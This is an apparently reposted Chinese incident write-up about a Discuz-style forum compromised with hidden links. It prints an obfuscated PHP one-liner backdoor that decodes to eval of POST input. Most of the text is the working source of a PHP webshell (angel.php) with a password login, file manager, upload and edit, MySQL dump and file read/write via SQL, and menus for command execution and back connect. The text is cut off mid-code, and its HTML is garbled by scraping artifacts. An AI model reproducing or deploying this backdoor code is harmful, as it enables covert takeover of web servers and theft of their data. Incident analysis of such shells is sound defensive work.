原文链接

论坛被挂暗链问题分析与解决
http://blog.kankanan.com/posts/2014/04/01_8bba575b88ab6302669794fe95ee9898520667904e0e89e351b3.html

发现问题

解决问题

分析恶意代码

上面代码的目的就是下载恶意代码并执行。

通过比较svn中的代码与现网的代码还发现了一个新的后门程序

• uc_client/control/class.php

  <?php $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva(‘‘, $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?>

  解码后的结果

  @eval($_POST[‘wen‘]);

  上面的脚本可以注入任意的代码。

• ./uc_server/data/tmp/angel.php

  <?phperror_reporting(7);@set_magic_quotes_runtime(0);ob_start();$mtime = explode(‘ ‘, microtime());$starttime = $mtime[1] + $mtime[0];define(‘SA_ROOT‘, str_replace(‘\\‘, ‘/‘, dirname(__FILE__)).‘/‘);define(‘IS_WIN‘, DIRECTORY_SEPARATOR == ‘\\‘);define(‘IS_COM‘, class_exists(‘COM‘) ? 1 : 0 );define(‘IS_GPC‘, get_magic_quotes_gpc());$dis_func = get_cfg_var(‘disable_functions‘);define(‘IS_PHPINFO‘, (!eregi("phpinfo",$dis_func)) ? 1 : 0 );@set_time_limit(0);@preg_replace("/[email]/e",$_POST[‘Id‘],"error");foreach($_POST as $key => $value) {  if (IS_GPC) {    $value = s_array($value);  }  $$key = $value;}/*===================== 程序配置 =====================*///echo encode_pass(‘angel‘);exit;//angel = ec38fe2a8497e0a8d6d349b3533038cb// 如果需要密码验证,请修改登陆密码,留空为不需要验证$pass = ‘ec38fe2a8497e0a8d6d349b3533038cb‘; //angel//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认// cookie 前缀$cookiepre = ‘‘;// cookie 作用域$cookiedomain = ‘‘;// cookie 作用路径$cookiepath = ‘/‘;// cookie 有效期$cookielife = 86400;//程序搜索可写文件的类型!$writabledb && $writabledb = ‘php,cgi,pl,asp,inc,js,html,htm,jsp‘;/*===================== 配置结束 =====================*/$charsetdb = array(‘‘,‘armscii8‘,‘ascii‘,‘big5‘,‘binary‘,‘cp1250‘,‘cp1251‘,‘cp1256‘,‘cp1257‘,‘cp850‘,‘cp852‘,‘cp866‘,‘cp932‘,‘dec8‘,‘euc-jp‘,‘euc-kr‘,‘gb2312‘,‘gbk‘,‘geostd8‘,‘greek‘,‘hebrew‘,‘hp8‘,‘keybcs2‘,‘koi8r‘,‘koi8u‘,‘latin1‘,‘latin2‘,‘latin5‘,‘latin7‘,‘macce‘,‘macroman‘,‘sjis‘,‘swe7‘,‘tis620‘,‘ucs2‘,‘ujis‘,‘utf8‘);if ($charset == ‘utf8‘) {  header("content-Type: text/html; charset=utf-8");} elseif ($charset == ‘big5‘) {  header("content-Type: text/html; charset=big5");} elseif ($charset == ‘gbk‘) {  header("content-Type: text/html; charset=gbk");} elseif ($charset == ‘latin1‘) {  header("content-Type: text/html; charset=iso-8859-2");} elseif ($charset == ‘euc-kr‘) {  header("content-Type: text/html; charset=euc-kr");} elseif ($charset == ‘euc-jp‘) {  header("content-Type: text/html; charset=euc-jp");}$self = $_SERVER[‘PHP_SELF‘] ? $_SERVER[‘PHP_SELF‘] : $_SERVER[‘SCRIPT_NAME‘];$timestamp = time();/*===================== 身份验证 =====================*/if ($action == "logout") {  scookie(‘loginpass‘, ‘‘, -86400 * 365);  @header(‘Location: ‘.$self);  exit;}if($pass) {  if ($action == ‘login‘) {    if ($pass == encode_pass($password)) {      scookie(‘loginpass‘,encode_pass($password));      @header(‘Location: ‘.$self);      exit;    }  }  if ($_COOKIE[‘loginpass‘]) {    if ($_COOKIE[‘loginpass‘] != $pass) {      loginpage();    }  } else {    loginpage();  }}/*===================== 验证结束 =====================*/$errmsg = ‘‘;!$action && $action = ‘file‘;// 查看PHPINFOif ($action == ‘phpinfo‘) {  if (IS_PHPINFO) {    phpinfo();    exit;  } else {    $errmsg = ‘phpinfo() function has non-permissible‘;  }}// 下载文件if ($doing == ‘downfile‘ && $thefile) {  if (!@file_exists($thefile)) {    $errmsg = ‘The file you want Downloadable was nonexistent‘;  } else {    $fileinfo = pathinfo($thefile);    header(‘Content-type: application/x-‘.$fileinfo[‘extension‘]);    header(‘Content-Disposition: attachment; filename=‘.$fileinfo[‘basename‘]);    header(‘Content-Length: ‘.filesize($thefile));    @readfile($thefile);    exit;  }}// 直接下载备份数据库if ($doing == ‘backupmysql‘ && !$saveasfile) {  if (!$table) {    $errmsg =‘Please choose the table‘;  } else {    $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);    $filename = basename($dbname.‘.sql‘);    header(‘Content-type: application/unknown‘);    header(‘Content-Disposition: attachment; filename=‘.$filename);    foreach($table as $k => $v) {      if ($v) {        sqldumptable($v);      }    }    mysql_close();    exit;  }}// 通过MYSQL下载文件if($doing==‘mysqldown‘){  if (!$dbname) {    $errmsg = ‘Please input dbname‘;  } else {    $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);    if (!file_exists($mysqldlfile)) {      $errmsg = ‘The file you want Downloadable was nonexistent‘;    } else {      $result = q("select load_file(‘$mysqldlfile‘);");      if(!$result){        q("DROP TABLE IF EXISTS tmp_angel;");        q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");        //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况        q("LOAD DATA LOCAL INFILE ‘".addslashes($mysqldlfile)."‘ INTO TABLE tmp_angel FIELDS TERMINATED BY ‘__angel_{$timestamp}_eof__‘ ESCAPED BY ‘‘ LINES TERMINATED BY ‘__angel_{$timestamp}_eof__‘;");        $result = q("select content from tmp_angel");        q("DROP TABLE tmp_angel");      }      $row = @mysql_fetch_array($result);      if (!$row) {        $errmsg = ‘Load file failed ‘.mysql_error();      } else {        $fileinfo = pathinfo($mysqldlfile);        header(‘Content-type: application/x-‘.$fileinfo[‘extension‘]);        header(‘Content-Disposition: attachment; filename=‘.$fileinfo[‘basename‘]);        header("Accept-Length: ".strlen($row[0]));        echo $row[0];        exit;      }    }  }}?><html><head><meta http-equiv="Content-Type" content="text/html; charset=gbk"><title><?php echo $action.‘ - ‘.$_SERVER[‘HTTP_HOST‘];?></title><style type="text/css">body,td{font: 12px Arial,Tahoma;line-height: 16px;}.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}.area{font:12px ‘Courier New‘, Monospace;background:#fff;border: 1px solid #666;padding:2px;}.bt {border-color:#b0b0b0;background:#3d3d3d url(http://t.cn/zRymOgc);color:#ffffff;font:12px Arial,Tahoma;height:22px;}a {color: #00f;text-decoration:underline;}a:hover{color: #f00;text-decoration:none;}.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}.head td span{font-weight:normal;}.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}.drives{padding:5px;}.drives span {margin:auto 7px;}</style><script type="text/javascript">function CheckAll(form) {  for(var i=0;i<form.elements.length;i++) {    var e = form.elements[i];    if (e.name != ‘chkall‘)    e.checked = form.chkall.checked;  }}function $(id) {  return document.getElementById(id);}function createdir(){  var newdirname;  newdirname = prompt(‘Please input the directory name:‘, ‘‘ );  if (!newdirname) return;  $(‘createdir‘).newdirname.value=newdirname;  $(‘createdir‘).submit();}function fileperm(pfile){  var newperm;  newperm = prompt(‘Current file:‘+pfile+‘\nPlease input new attribute:‘, ‘‘);  if (!newperm) return;  $(‘fileperm‘).newperm.value=newperm;  $(‘fileperm‘).pfile.value=pfile;  $(‘fileperm‘).submit();}function copyfile(sname){  var tofile;  tofile = prompt(‘Original file:‘+sname+‘\nPlease input object file (fullpath):‘, ‘‘);  if (!tofile) return;  $(‘copyfile‘).tofile.value=tofile;  $(‘copyfile‘).sname.value=sname;  $(‘copyfile‘).submit();}function rename(oldname){  var newfilename;  newfilename = prompt(‘Former file name:‘+oldname+‘\nPlease input new filename:‘, ‘‘);  if (!newfilename) return;  $(‘rename‘).newfilename.value=newfilename;  $(‘rename‘).oldname.value=oldname;  $(‘rename‘).submit();}function dofile(doing,thefile,m){  if (m && !confirm(m)) {    return;  }  $(‘filelist‘).doing.value=doing;  if (thefile){    $(‘filelist‘).thefile.value=thefile;  }  $(‘filelist‘).submit();}function createfile(nowpath){  var filename;  filename = prompt(‘Please input the file name:‘, ‘‘);  if (!filename) return;  opfile(‘editfile‘,nowpath + filename,nowpath);}function opfile(action,opfile,dir){  $(‘fileopform‘).action.value=action;  $(‘fileopform‘).opfile.value=opfile;  $(‘fileopform‘).dir.value=dir;  $(‘fileopform‘).submit();}function godir(dir,view_writable){  if (view_writable) {    $(‘godir‘).view_writable.value=view_writable;  }  $(‘godir‘).dir.value=dir;  $(‘godir‘).submit();}function getsize(getdir,dir){  $(‘getsize‘).getdir.value=getdir;  $(‘getsize‘).dir.value=dir;  $(‘getsize‘).submit();}function editrecord(action, base64, tablename){  if (action == ‘del‘) {       if (!confirm(‘Is or isn\‘t deletion record?‘)) return;  }  $(‘recordlist‘).doing.value=action;  $(‘recordlist‘).base64.value=base64;  $(‘recordlist‘).tablename.value=tablename;  $(‘recordlist‘).submit();}function moddbname(dbname) {  if(!dbname) return;  $(‘setdbname‘).dbname.value=dbname;  $(‘setdbname‘).submit();}function settable(tablename,doing,page) {  if(!tablename) return;  if (doing) {    $(‘settable‘).doing.value=doing;  }  if (page) {    $(‘settable‘).page.value=page;  }  $(‘settable‘).tablename.value=tablename;  $(‘settable‘).submit();}function s(action,nowpath,p1,p2,p3,p4,p5) {  if(action) $(‘opform‘).action.value=action;  if(nowpath) $(‘opform‘).nowpath.value=nowpath;  if(p1) $(‘opform‘).p1.value=p1;  if(p2) $(‘opform‘).p2.value=p2;  if(p3) $(‘opform‘).p3.value=p3;  if(p4) $(‘opform‘).p4.value=p4;  if(p5) $(‘opform‘).p4.value=p5;}function g(action,nowpath,p1,p2,p3,p4,p5) {  if(!action) return;  s(action,nowpath,p1,p2,p3,p4,p5);  $(‘opform‘).submit();}</script></head><body style="margin:0;table-layout:fixed; word-break:break-all"><?phpformhead(array(‘name‘=>‘opform‘));makehide(‘action‘, $action);makehide(‘nowpath‘, $nowpath);makehide(‘p1‘, $p1);makehide(‘p2‘, $p2);makehide(‘p3‘, $p3);makehide(‘p4‘, $p4);makehide(‘p5‘, $p5);formfoot();if(!function_exists(‘posix_getegid‘)) {  $user = @get_current_user();  $uid = @getmyuid();  $gid = @getmygid();  $group = "?";} else {  $uid = @posix_getpwuid(@posix_geteuid());  $gid = @posix_getgrgid(@posix_getegid());  $user = $uid[‘name‘];  $uid = $uid[‘uid‘];  $group = $gid[‘name‘];  $gid = $gid[‘gid‘];}?><table width="100%" border="0" cellpadding="0" cellspacing="0">  <tr class="head">    <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.‘ ( ‘.$user.‘ ) / Group: ‘.$gid.‘ ( ‘.$group.‘ )‘;?></span><?php echo $_SERVER[‘HTTP_HOST‘];?> (<?php echo gethostbyname($_SERVER[‘SERVER_NAME‘]);?>)</td>  </tr>  <tr class="alt1">    <td>      <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg(‘safe_mode‘);?></span>      <a href=http://www.mamicode.com/"javascript:g(‘logout‘);">Logout</a> |       <a href=http://www.mamicode.com/"javascript:g(‘file‘);">File Manager</a> |       <a href=http://www.mamicode.com/"javascript:g(‘mysqladmin‘);">MYSQL Manager</a> |       <a href=http://www.mamicode.com/"javascript:g(‘sqlfile‘);">MySQL Upload &amp; Download</a> |       <a href=http://www.mamicode.com/"javascript:g(‘shell‘);">Execute Command</a> |       <a href=http://www.mamicode.com/"javascript:g(‘phpenv‘);">PHP Variable</a> |       <a href=http://www.mamicode.com/"javascript:g(‘portscan‘);">Port Scan</a> |       <a href=http://www.mamicode.com/"javascript:g(‘secinfo‘);">Security information</a> |       <a href=http://www.mamicode.com/"javascript:g(‘eval‘);">Eval PHP Code</a>      <?php if (!IS_WIN) {?> | <a href=http://www.mamicode.com/"javascript:g(‘backconnect‘);">Back Connect</a><?php }?>    </td>  </tr></table><table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td><?php$errmsg && m($errmsg);// 获取当前路径if (!$dir) {  $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : ‘.‘;}$nowpath = getPath(SA_ROOT, $dir);if (substr($dir, -1) != ‘/‘) {  $dir = $dir.‘/‘;}if ($action == ‘file‘) {  // 判断读写情况  $dir_writeable = @is_writable($nowpath) ? ‘Writable‘ : ‘Non-writable‘;  // 创建目录  if ($newdirname) {    $mkdirs = $nowpath.$newdirname;    if (file_exists($mkdirs)) {      m(‘Directory has already existed‘);    } else {      m(‘Directory created ‘.(@mkdir($mkdirs,0777) ? ‘success‘ : ‘failed‘));      @chmod($mkdirs,0777);    }  }  // 上传文件  elseif ($doupfile) {    m(‘File upload ‘.(@copy($_FILES[‘uploadfile‘][‘tmp_name‘],$uploaddir.‘/‘.$_FILES[‘uploadfile‘][‘name‘]) ? ‘success‘ : ‘failed‘));  }  // 编辑文件  elseif ($editfilename && $filecontent) {    $fp = @fopen($editfilename,‘w‘);    m(‘Save file ‘.(@fwrite($fp,$filecontent) ? ‘success‘ : ‘failed‘));    @fclose($fp);  }  // 编辑文件属性  elseif ($pfile && $newperm) {    if (!file_exists($pfile)) {      m(‘The original file does not exist‘);    } else {      $newperm = base_convert($newperm,8,10);      m(‘Modify file attributes ‘.(@chmod($pfile,$newperm) ? ‘success‘ : ‘failed‘));    }  }  // 改名  elseif ($oldname && $newfilename) {    $nname = $nowpath.$newfilename;    if (file_exists($nname) || !file_exists($oldname)) {      m($nname.‘ has already existed or original file does not exist‘);    } else {      m(basename($oldname).‘ renamed ‘.basename($nname).(@rename($oldname,$nname) ? ‘ success‘ : ‘failed‘));    }  }  // 复制文件  elseif ($sname && $tofile) {    if (file_exists($tofile) || !file_exists($sname)) {      m(‘The goal file has already existed or original file does not exist‘);    } else {      m(basename($tofile).‘ copied ‘.(@copy($sname,$tofile) ? basename($tofile).‘ success‘ : ‘failed‘));    }  }  // 克隆时间  elseif ($curfile && $tarfile) {    if (!@file_exists($curfile) || !@file_exists($tarfile)) {      m(‘The goal file has already existed or original file does not exist‘);    } else {      $time = @filemtime($tarfile);      m(‘Modify file the last modified ‘.(@touch($curfile,$time,$time) ? ‘success‘ : ‘failed‘));    }  }  // 自定义时间  elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {    if (!@file_exists($curfile)) {      m(basename($curfile).‘ does not exist‘);    } else {      $time = strtotime("$year-$month-$day $hour:$minute:$second");      m(‘Modify file the last modified ‘.(@touch($curfile,$time,$time) ? ‘success‘ : ‘failed‘));    }  }  // 批量删除文件  elseif($doing == ‘delfiles‘) {    if ($dl) {      $dfiles=‘‘;      $succ = $fail = 0;      foreach ($dl as $filepath) {        if (is_dir($filepath)) {          if (@deltree($filepath)) {            $succ++;          } else {            $fail++;          }        } else {          if (@unlink($filepath)) {            $succ++;          } else {            $fail++;          }        }      }      m(‘Deleted folder/file have finished,choose ‘.count($dl).‘ success ‘.$succ.‘ fail ‘.$fail);    } else {      m(‘Please select folder/file(s)‘);    }  }  //操作完毕  formhead(array(‘name‘=>‘createdir‘));  makehide(‘newdirname‘);  makehide(‘dir‘,$nowpath);  formfoot();  formhead(array(‘name‘=>‘fileperm‘));  makehide(‘newperm‘);  makehide(‘pfile‘);  makehide(‘dir‘,$nowpath);  formfoot();  formhead(array(‘name‘=>‘copyfile‘));  makehide(‘sname‘);  makehide(‘tofile‘);  makehide(‘dir‘,$nowpath);  formfoot();  formhead(array(‘name‘=>‘rename‘));  makehide(‘oldname‘);  makehide(‘newfilename‘);  makehide(‘dir‘,$nowpath);  formfoot();  formhead(array(‘name‘=>‘fileopform‘, ‘target‘=>‘_blank‘));  makehide(‘action‘);  makehide(‘opfile‘);  makehide(‘dir‘);  formfoot();  formhead(array(‘name‘=>‘getsize‘));  makehide(‘getdir‘);  makehide(‘dir‘);  formfoot();  $free = @disk_free_space($nowpath);  !$free && $free = 0;  $all = @disk_total_space($nowpath);  !$all && $all = 0;  $used = $all-$free;  p(‘<h2>File Manager - Current disk free ‘.sizecount($free).‘ of ‘.sizecount($all).‘ (‘.@round(100/($all/$free),2).‘%)</h2>‘);  $cwd_links = ‘‘;  $path = explode(‘/‘, $nowpath);  $n=count($path);  for($i=0;$i<$n-1;$i++) {    $cwd_links .= ‘<a href="javascript:godir(\‘‘;    for($j=0;$j<=$i;$j++) {      $cwd_links .= $path[$j].‘/‘;    }    $cwd_links .= ‘\‘);">‘.$path[$i].‘/</a>‘;  }?><script type="text/javascript">document.onclick = shownav;function shownav(e){  var src = e?e.target:event.srcElement;  do{    if(src.id =="jumpto") {      $(‘inputnav‘).style.display = "";      $(‘pathnav‘).style.display = "none";      //hidenav();      return;    }    if(src.id =="inputnav") {      return;    }    src = src.parentNode;  }while(src.parentNode)  $(‘inputnav‘).style.display = "none";  $(‘pathnav‘).style.display = "";}</script><div style="background:#eee;margin-bottom:10px;">  <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">    <tr>      <td width="100%"><?php echo $cwd_links.‘ - ‘.getChmod($nowpath).‘ / ‘.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>      <td nowrap><input class="bt" id="jumpto" name="jumpto" value=http://www.mamicode.com/"Jump to" type="button"></td>    </tr>  </table>  <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">  <form action="" method="post" id="godir" name="godir">    <tr>      <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>      <td width="100%"><input name="view_writable" value=http://www.mamicode.com/"0" type="hidden" /><input class="input" name="dir" value=http://www.mamicode.com/"<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>      <td nowrap><input class="bt" value=http://www.mamicode.com/"GO" type="submit"></td>    </tr>  </form>  </table><?php  if (IS_WIN && IS_COM) {    $obj = new COM(‘scripting.filesystemobject‘);    if ($obj && is_object($obj) && $obj->Drives) {      echo ‘<div class="drives">‘;      $DriveTypeDB = array(0 => ‘Unknow‘,1 => ‘Removable‘,2 => ‘Fixed‘,3 => ‘Network‘,4 => ‘CDRom‘,5 => ‘RAM Disk‘);      $comma = ‘‘;      foreach($obj->Drives as $drive) {        if ($drive->Path) {          p($comma.‘<a href="javascript:godir(\‘‘.$drive->Path.‘/\‘);">‘.$DriveTypeDB[$drive->DriveType].‘(‘.$drive->Path.‘)</a>‘);          $comma = ‘<span>|</span>‘;        }      }      echo ‘</div>‘;    }  }?></div><?php  $findstr = $_POST[‘findstr‘];  $re = $_POST[‘re‘];  tbhead();  p(‘<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">‘);  p(‘<form action="‘.$self.‘" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="http://www.mamicode.com/Upload" type="submit" /><input name="uploaddir" value="http://www.mamicode.com/‘.$nowpath.‘" type="hidden" /><input name="dir" value="http://www.mamicode.com/‘.$nowpath.‘" type="hidden" /></div></form>‘);  p(‘<a href="javascript:godir(\‘‘.$_SERVER["DOCUMENT_ROOT"].‘\‘);">WebRoot</a>‘);  p(‘ | <a href="javascript:godir(\‘.\‘);">ScriptPath</a>‘);  p(‘ | <a href="javascript:godir(\‘‘.$nowpath.‘\‘);">View All</a>‘);  p(‘ | View Writable ( <a href="javascript:godir(\‘‘.$nowpath.‘\‘,\‘dir\‘);">Directory</a>‘);  p(‘ | <a href="javascript:godir(\‘‘.$nowpath.‘\‘,\‘file\‘);">File</a> )‘);  p(‘ | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\‘‘.$nowpath.‘\‘);">Create File</a>‘);  p(‘<div style="padding:5px 0;"><form action="‘.$self.‘" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="http://www.mamicode.com/‘.$findstr.‘" type="text" /> <input class="bt" value="http://www.mamicode.com/Find" type="submit" /> Type: <input class="input" name="writabledb" value="http://www.mamicode.com/‘.$writabledb.‘" type="text" /><input name="dir" value="http://www.mamicode.com/‘.$dir.‘" type="hidden" /> <input name="re" value="http://www.mamicode.com/1" type="checkbox" ‘.($re ? ‘checked‘ : ‘‘).‘ /> Regular expressions</form></div></td></tr>‘);  p(‘<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>‘);  //查看所有可写文件和目录  $dirdata=array();  $filedata=array();  if ($view_writable == ‘dir‘) {    $dirdata = GetWDirList($nowpath);    $filedata = array();  } elseif ($view_writable == ‘file‘) {    $dirdata = array();    $filedata = GetWFileList($nowpath);  } elseif ($findstr) {    $dirdata = array();    $filedata = GetSFileList($nowpath, $findstr, $re);  } else {    // 目录列表    //scandir()效率更高    $dirs=@opendir($dir);    while ($file=@readdir($dirs)) {      $filepath=$nowpath.$file;      if(@is_dir($filepath)){        $dirdb[‘filename‘]=$file;        $dirdb[‘mtime‘]=@date(‘Y-m-d H:i:s‘,filemtime($filepath));        $dirdb[‘dirchmod‘]=getChmod($filepath);        $dirdb[‘dirperm‘]=getPerms($filepath);        $dirdb[‘fileowner‘]=getUser($filepath);        $dirdb[‘dirlink‘]=$nowpath;        $dirdb[‘server_link‘]=$filepath;        $dirdata[]=$dirdb;      } else {            $filedb[‘filename‘]=$file;        $filedb[‘size‘]=sizecount(@filesize($filepath));        $filedb[‘mtime‘]=@date(‘Y-m-d H:i:s‘,filemtime($filepath));        $filedb[‘filechmod‘]=getChmod($filepath);        $filedb[‘fileperm‘]=getPerms($filepath);        $filedb[‘fileowner‘]=getUser($filepath);        $filedb[‘dirlink‘]=$nowpath;        $filedb[‘server_link‘]=$filepath;        $filedata[]=$filedb;      }    }// while    unset($dirdb);    unset($filedb);    @closedir($dirs);  }  @sort($dirdata);  @sort($filedata);  $dir_i = ‘0‘;  p(‘<form id="filelist" name="filelist" action="‘.$self.‘" method="post">‘);  makehide(‘action‘,‘file‘);  makehide(‘thefile‘);  makehide(‘doing‘);  makehide(‘dir‘,$nowpath);  foreach($dirdata as $key => $dirdb){    if($dirdb[‘filename‘]!=‘..‘ && $dirdb[‘filename‘]!=‘.‘) {      if($getdir && $getdir == $dirdb[‘server_link‘]) {        $attachsize = dirsize($dirdb[‘server_link‘]);        $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : ‘Unknown‘;      } else {        $attachsize = ‘<a href="javascript:getsize(\‘‘.$dirdb[‘server_link‘].‘\‘,\‘‘.$dir.‘\‘);">Stat</a>‘;      }      $thisbg = bg();      p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);      p(‘<td width="2%" nowrap><input name="dl[]" type="checkbox" value="http://www.mamicode.com/‘.$dirdb[‘server_link‘].‘"></td>‘);      p(‘<td><a href="javascript:godir(\‘‘.$dirdb[‘server_link‘].‘\‘);">‘.$dirdb[‘filename‘].‘</a></td>‘);      p(‘<td nowrap><a href="javascript:opfile(\‘newtime\‘,\‘‘.$dirdb[‘server_link‘].‘\‘,\‘‘.$dirdb[‘dirlink‘].‘\‘);">‘.$dirdb[‘mtime‘].‘</a></td>‘);      p(‘<td nowrap>‘.$attachsize.‘</td>‘);      p(‘<td nowrap>‘);      p(‘<a href="javascript:fileperm(\‘‘.$dirdb[‘server_link‘].‘\‘);">‘.$dirdb[‘dirchmod‘].‘</a> / ‘);      p(‘<a href="javascript:fileperm(\‘‘.$dirdb[‘server_link‘].‘\‘);">‘.$dirdb[‘dirperm‘].‘</a>‘.$dirdb[‘fileowner‘].‘</td>‘);      p(‘<td nowrap><a href="javascript:rename(\‘‘.$dirdb[‘server_link‘].‘\‘);">Rename</a></td>‘);      p(‘</tr>‘);      $dir_i++;    } else {      if($dirdb[‘filename‘]==‘..‘) {        p(‘<tr class=‘.bg().‘>‘);        p(‘<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\‘‘.getUpPath($nowpath).‘\‘);">Parent Directory</a></td>‘);        p(‘</tr>‘);      }    }  }  p(‘<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>‘);  $file_i = ‘0‘;  foreach($filedata as $key => $filedb){    if($filedb[‘filename‘]!=‘..‘ && $filedb[‘filename‘]!=‘.‘) {      $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],‘‘,$filedb[‘server_link‘]);      $thisbg = bg();      p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);      p(‘<td width="2%" nowrap><input name="dl[]" type="checkbox" value="http://www.mamicode.com/‘.$filedb[‘server_link‘].‘"></td>‘);      p(‘<td>‘.((strpos($filedb[‘server_link‘], $_SERVER["DOCUMENT_ROOT"]) !== false) ? ‘<a href="http://www.mamicode.com/‘.$fileurl.‘" target="_blank">‘.$filedb[‘filename‘].‘</a>‘ : $filedb[‘filename‘]).‘</td>‘);      p(‘<td nowrap><a href="javascript:opfile(\‘newtime\‘,\‘‘.$filedb[‘server_link‘].‘\‘,\‘‘.$filedb[‘dirlink‘].‘\‘);">‘.$filedb[‘mtime‘].‘</a></td>‘);      p(‘<td nowrap>‘.$filedb[‘size‘].‘</td>‘);      p(‘<td nowrap>‘);      p(‘<a href="javascript:fileperm(\‘‘.$filedb[‘server_link‘].‘\‘);">‘.$filedb[‘filechmod‘].‘</a> / ‘);      p(‘<a href="javascript:fileperm(\‘‘.$filedb[‘server_link‘].‘\‘);">‘.$filedb[‘fileperm‘].‘</a>‘.$filedb[‘fileowner‘].‘</td>‘);      p(‘<td nowrap>‘);      p(‘<a href="javascript:dofile(\‘downfile\‘,\‘‘.$filedb[‘server_link‘].‘\‘);">Down</a> | ‘);      p(‘<a href="javascript:copyfile(\‘‘.$filedb[‘server_link‘].‘\‘);">Copy</a> | ‘);      p(‘<a href="javascript:opfile(\‘editfile\‘,\‘‘.$filedb[‘server_link‘].‘\‘,\‘‘.$filedb[‘dirlink‘].‘\‘);">Edit</a> | ‘);      p(‘<a href="javascript:rename(\‘‘.$filedb[‘server_link‘].‘\‘);">Rename</a>‘);      p(‘</td></tr>‘);      $file_i++;    }  }  p(‘<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>‘);  p(‘<tr class="‘.bg().‘"><td align="center"><input name="chkall" value="http://www.mamicode.com/on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\‘delfiles\‘);">Delete selected</a></td><td align="right">‘.$dir_i.‘ directories / ‘.$file_i.‘ files</td></tr>‘);  p(‘</form></table>‘);}// end direlseif ($action == ‘sqlfile‘) {  if($doing=="mysqlupload"){    $file = $_FILES[‘uploadfile‘];    $filename = $file[‘tmp_name‘];    if (file_exists($savepath)) {      m(‘The goal file has already existed‘);    } else {      if(!$filename) {        m(‘Please choose a file‘);      } else {        $fp=@fopen($filename,‘r‘);        $contents=@fread($fp, filesize($filename));        @fclose($fp);        $contents = bin2hex($contents);        if(!$upname) $upname = $file[‘name‘];        $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);        $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE ‘$savepath‘;");        m($result ? ‘Upload success‘ : ‘Upload has failed: ‘.mysql_error());      }    }  }?><script type="text/javascript">function mysqlfile(doing){  if(!doing) return;  $(‘doing‘).value=doing;  $(‘mysqlfile‘).dbhost.value=$(‘dbinfo‘).dbhost.value;  $(‘mysqlfile‘).dbport.value=$(‘dbinfo‘).dbport.value;  $(‘mysqlfile‘).dbuser.value=$(‘dbinfo‘).dbuser.value;  $(‘mysqlfile‘).dbpass.value=$(‘dbinfo‘).dbpass.value;  $(‘mysqlfile‘).dbname.value=$(‘dbinfo‘).dbname.value;  $(‘mysqlfile‘).charset.value=$(‘dbinfo‘).charset.value;  $(‘mysqlfile‘).submit();}</script><?php  !$dbhost && $dbhost = ‘localhost‘;  !$dbuser && $dbuser = ‘root‘;  !$dbport && $dbport = ‘3306‘;  formhead(array(‘title‘=>‘MYSQL Information‘,‘name‘=>‘dbinfo‘));  makehide(‘action‘,‘sqlfile‘);  p(‘<p>‘);  p(‘DBHost:‘);  makeinput(array(‘name‘=>‘dbhost‘,‘size‘=>20,‘value‘=>$dbhost));  p(‘:‘);  makeinput(array(‘name‘=>‘dbport‘,‘size‘=>4,‘value‘=>$dbport));  p(‘DBUser:‘);  